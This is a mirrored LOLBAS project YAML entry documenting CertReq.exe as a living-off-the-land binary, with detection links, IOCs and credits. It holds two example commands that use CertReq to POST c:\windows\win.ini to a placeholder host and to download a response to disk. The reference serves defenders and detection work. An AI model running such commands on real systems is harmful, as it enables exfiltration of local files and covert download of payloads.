mirror of
https://github.com/LOLBAS-Project/LOLBAS
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36 lines
1.4 KiB
YAML
36 lines
1.4 KiB
YAML
---
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Name: CertReq.exe
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Description: Used for requesting and managing certificates
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Author: 'David Middlehurst'
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Created: 2020-07-07
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Commands:
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- Command: CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
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Description: Save the response from a HTTP POST to the endpoint https://example.org/ as output.txt in the current directory
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Usecase: Download file from Internet
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: CertReq -Post -config https://example.org/ c:\windows\win.ini and show response in terminal
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Description: Send the file c:\windows\win.ini to the endpoint https://example.org/ via HTTP POST
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Usecase: Upload
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Category: Upload
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Full_Path:
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- Path: C:\Windows\System32\certreq.exe
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- Path: C:\Windows\SysWOW64\certreq.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/eb8c9c046b86e7d412bdcc3235693fa1c00f70d6/rules/windows/process_creation/win_susp_certreq_download.yml
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- IOC: certreq creates new files
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- IOC: certreq makes POST requests
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Resources:
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- Link: https://dtm.uk/certreq
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Acknowledgement:
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- Person: David Middlehurst
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Handle: '@dtmsecurity'
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---
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